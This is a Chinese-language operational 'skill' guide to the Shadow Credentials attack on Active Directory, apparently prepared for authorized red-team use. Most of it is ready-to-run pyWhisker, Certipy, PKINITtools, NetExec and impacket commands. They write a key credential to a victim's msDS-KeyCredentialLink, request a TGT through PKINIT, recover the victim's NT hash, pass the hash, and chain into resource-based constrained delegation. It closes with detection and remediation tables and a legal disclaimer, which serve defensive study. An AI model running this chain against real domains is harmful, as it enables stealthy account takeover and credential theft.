用途
本技能描述 Shadow Credentials 技术,用于在 Active Directory 环境中进行授权的凭据访问与权限提升测试。该技术滥用 AD 用户和计算机对象的 msDS-KeyCredentialLink 属性——该属性原本存储 Windows Hello for Business 和 Azure AD 设备注册使用的原始公钥(Key Credentials),用于基于证书的 PKINIT 无密码登录。当攻击者拥有目标对象 msDS-KeyCredentialLink 的写权限(通常来自 BloodHound 中显示的 GenericWrite、GenericAll、WriteProperty 或 AddKeyCredentialLink ACE)时,可追加自己生成的公钥,随后用匹配私钥通过 PKINIT 为目标请求 TGT,并恢复目标 NT 哈希,实现完整账户接管,且无需重置密码,比强制改密更隐蔽。
主要能力
- 确认对目标 msDS-KeyCredentialLink 的写权限
- 生成密钥对并向目标对象追加 Key Credential
- 使用新密钥通过 PKINIT 请求目标 TGT
- 恢复目标 NT 哈希,用于 pass-the-hash 或后续横向移动
- 清理注入的 Key Credential,恢复对象状态
- 记录导致攻击的 ACL 路径,供修复参考
- 可将计算机账户接管串联到基于资源的约束委派(RBCD)
使用方式
前置条件:授权范围包含 AD 凭据访问技术;控制一个对目标 msDS-KeyCredentialLink 有写权限的主体;至少一台运行 Windows Server 2016 或更高版本且启用 PKINIT 的域控;可访问域控的 LDAP(389/636)和 Kerberos(88);Linux 攻击主机安装 Python 3.8+ 并安装工具:
# pyWhisker (from source)
git clone https://github.com/ShutdownRepo/pywhisker
cd pywhisker && pip install .
# Certipy (integrated shadow attack)
pipx install certipy-ad
# PKINITtools for manual TGT/NT-hash extraction
git clone https://github.com/dirkjanm/PKINITtools
工作流概要(步骤名称与命令均来自资料):
- 确认写权限:列出目标现有 Key Credentials,验证写访问。
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "list"
- 使用 pyWhisker 添加 Shadow Credential,生成 PFX。
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "add" --filename victim_shadow
# Produces victim_shadow.pfx and prints the PFX password
仅持有票据时可使用 Kerberos 认证:
python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
--target "victim" --action "add" --filename victim_shadow --use-ldaps
- 通过 PKINIT 请求 TGT。
python3 PKINITtools/gettgtpkinit.py \
-cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
corp.local/victim victim.ccache
- 恢复 NT 哈希。
export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# Prints the NT hash for 'victim'
- 使用 Certipy 一次性完成(添加 → PKINIT → 导出哈希 → 清理)。
certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
# For a computer account, use the sAMAccountName with trailing $
certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'WS01$'
- 使用恢复的凭据继续操作。
# Pass-the-hash with NetExec
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# Or use the TGT directly
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache
- 将计算机接管串联到 RBCD(可选)。
# Set RBCD so attacker-controlled SPN can impersonate to WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
-action write 'corp.local/attacker:Passw0rd!'
- 清理注入的 Key Credential。
# pyWhisker: remove by device-id (printed during add) or clear all you added
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto cleans up automatically; otherwise:
certipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
工具与资源
| 资源 | 用途 | 链接 |
|---|---|---|
| pyWhisker | 通过 Python LDAP 操作 msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |
| Whisker | 原始 C# 实现 | https://github.com/eladshamir/Whisker |
| Certipy | shadow auto 端到端接管 | https://github.com/ly4k/Certipy |
| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |
| The Hacker Recipes | 技术演练与防御 | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |
适用场景
- BloodHound 显示对更高价值用户或计算机存在 GenericWrite/GenericAll/AddKeyCredentialLink 时
- 作为 ForceChangePassword 的更隐蔽替代方案(不重置密码,干扰和告警更少)
- 接管计算机账户以串联到 RBCD
- 红队行动中需要账户接管且不希望锁定合法用户
- 紫队演练中生成 msDS-KeyCredentialLink 修改遥测
MITRE ATT&CK 映射
| ID | 技术 | 在本技能中的应用 |
|---|---|---|
| T1098.005 | Account Manipulation: Device Registration | 向 msDS-KeyCredentialLink 写入攻击者控制的 Key Credential(设备密钥),为目标账户注册替代认证凭据 |
检测与修复
| 领域 | 指引 |
|---|---|
| 检测 | 监控 Windows 安全事件 ID 5136(目录对象已修改)中对 msDS-KeyCredentialLink 的更改;当非 AD-Connect/非 Intune 主体写入该属性时告警 |
| 审计 | 在用户/计算机 OU 上启用目录服务对象更改审计 |
| 最小权限 | 移除不必要的 GenericWrite/GenericAll/AddKeyCredentialLink ACE(BloodHound 的 AddKeyCredentialLink 边) |
| 缓解 | 在未使用 Windows Hello/设备注册时,限制可写入 Key Credentials 的主体,并考虑 tier-0 保护账户 |
限制与法律声明
本技能仅限获得授权的安全测试与教学用途。Shadow Credentials 会授予对目标账户的完全接管能力,只能用于自己拥有或获得书面明确授权的系统,未经授权访问属于犯罪行为。目标环境必须支持 PKINIT,且至少有一台运行 Windows Server 2016 或更高版本的域控。资料未提供具体的收费、价格或平台信息。